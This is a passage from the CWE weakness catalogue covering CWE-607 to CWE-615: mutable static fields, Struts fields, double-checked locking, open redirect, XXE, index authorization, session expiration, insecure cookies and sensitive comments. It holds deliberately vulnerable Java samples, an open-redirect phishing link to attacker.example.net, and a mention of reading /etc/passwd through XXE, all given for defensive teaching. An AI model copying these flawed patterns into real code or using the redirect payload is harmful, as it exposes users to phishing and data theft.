MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2552

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable
OMG ASCSM	ASCSM-CWE-606		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607
Structure : Simple
Abstraction : Variant

Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Relationships

The table(s) below shows the weakness and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1129

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Demonstrative Examples

Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

Example Language: Java *(Bad)*

```
public static final String[] USER_ROLES;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID : 608
Structure : Simple
Abstraction : Variant

Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data	

Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(Bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
  // variables for registration form
  public String name;
  public String email;
  ...
  public RegistrationForm() {
    super();
  }
  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
  ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java *(Good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
   // private variables for registration form
   private String name;
   private String email;
   ...
   public RegistrationForm() {
      super();
   }
   public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
   // getter and setter methods for private variables
   ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-609: Double-Checked Locking

Weakness ID : 609
Structure : Simple
Abstraction : Base

Description

The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1472
CanPrecede	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	913

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2346

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Alter Execution Logic	

Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Demonstrative Examples

Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(Bad)*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2387
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2432

Nature	Type	ID	Name	V	Page
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2470
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK10-J		Do not use incorrect forms of the double-checked locking idiom
Software Fault Patterns	SFP19		Missing Lock

References

[REF-490]David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". < http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html >.

[REF-491]Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID : 610
Structure : Simple
Abstraction : Class

Description

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	133
ParentOf	⁂	384	Session Fixation	943
ParentOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1072
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1125
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1353
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1376
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	949

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	⁂	384	Session Fixation	943

Nature	Type	ID	Name	Page
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1353
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1376
ParentOf	B	918	Server-Side Request Forgery (SSRF)	1829
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1869

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2451

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Demonstrative Examples

Example 1:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2022-3032	An email client does not block loading of remote objects in a nested document. *https://www.cve.org/CVERecord?id=CVE-2022-3032*
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given

Reference	Description
	path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) *https://www.cve.org/CVERecord?id=CVE-2022-45918*
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE *https://www.cve.org/CVERecord?id=CVE-2022-42745*
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection API. *https://www.cve.org/CVERecord?id=CVE-2004-2331*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2430
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2511
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2526
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611
Structure : Simple
Abstraction : Base

Description

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1373
PeerOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1072

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1373

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2451

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2330

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

XXE : An acronym used for the term "XML eXternal Entities"

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Integrity	Bypass Protection Mechanism *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Observed Examples

Reference	Description
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE *https://www.cve.org/CVERecord?id=CVE-2022-42745*
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script. *https://www.cve.org/CVERecord?id=CVE-2005-1306*
CVE-2012-5656	XXE during SVG image conversion *https://www.cve.org/CVERecord?id=CVE-2012-5656*
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file. *https://www.cve.org/CVERecord?id=CVE-2012-2239*
CVE-2012-3489	XXE in database server

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2012-3489
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2012-4399*
CVE-2012-3363	XXE via XML-RPC request. *https://www.cve.org/CVERecord?id=CVE-2012-3363*
CVE-2012-0037	XXE in office document product using RDF. *https://www.cve.org/CVERecord?id=CVE-2012-0037*
CVE-2011-4107	XXE in web-based administration tool for database. *https://www.cve.org/CVERecord?id=CVE-2011-4107*
CVE-2010-3322	XXE in product that performs large-scale data analysis. *https://www.cve.org/CVERecord?id=CVE-2010-3322*
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers. *https://www.cve.org/CVERecord?id=CVE-2009-1699*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	2458
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2618
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	43		XML External Entities
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
221	Data Serialization External Entities Blowup

References

[REF-496]OWASP. "XML External Entity (XXE) Processing". < https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing >.

[REF-497]Sascha Herzog. "XML External Entity Attacks (XXE)". 2010 October 0. < https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf >.2023-04-07.

[REF-498]Gregory Steuck. "XXE (Xml eXternal Entity) Attack". < https://www.beyondsecurity.com/ >.2023-04-07.

[REF-499]WASC. "XML External Entities (XXE) Attack". < http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities >.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses >.2023-04-07.

[REF-501]Chris Cornutt. "Preventing XXE in PHP". < https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html >.2023-04-07.

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID : 612
Structure : Simple
Abstraction : Base

Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1230	Exposure of Sensitive Information Through Metadata	2017

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2022-41918	A search application's access control rules are not properly applied to indices for data streams, allowing for the viewing of sensitive information. *https://www.cve.org/CVERecord?id=CVE-2022-41918*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Research Gap

This weakness is probably under-studied and under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	48		Insecure Indexing

References

[REF-1050]WASC. "Insecure Indexing". < http://projects.webappsec.org/w/page/13246937/Insecure%20Indexing >.

CWE-613: Insufficient Session Expiration

Weakness ID : 613
Structure : Simple
Abstraction : Base

Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1488
CanPrecede	C	287	Improper Authentication	699

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1488

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2453

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2500

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.

Demonstrative Examples

Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java *(Bad)*

```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2410
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2417
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2457
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2515

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	47		Insufficient Session Expiration

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID : 614
Structure : Simple
Abstraction : Variant

Description

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	319	Cleartext Transmission of Sensitive Information	786

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

Demonstrative Examples

Example 1:

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Example Language: Java *(Bad)*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product. *https://www.cve.org/CVERecord?id=CVE-2004-0462*
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *https://www.cve.org/CVERecord?id=CVE-2008-3663*
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *https://www.cve.org/CVERecord?id=CVE-2008-3662*
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *https://www.cve.org/CVERecord?id=CVE-2008-0128*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2424
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1402	Comprehensive Categorization: Encryption	1400	2548

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-615: Inclusion of Sensitive Information in Source Code Comments

Weakness ID : 615
Structure : Simple
Abstraction : Variant

Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1260
PeerOf	V	546	Suspicious Comment	1266

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Demonstrative Examples

Example 1:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(Bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://www.cve.org/CVERecord?id=CVE-2007-6197*

Reference	Description
CVE-2007-4072	CMS places full pathname of server in HTML comment. *https://www.cve.org/CVERecord?id=CVE-2007-4072*
CVE-2009-2431	blog software leaks real username in HTML comment. *https://www.cve.org/CVERecord?id=CVE-2009-2431*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

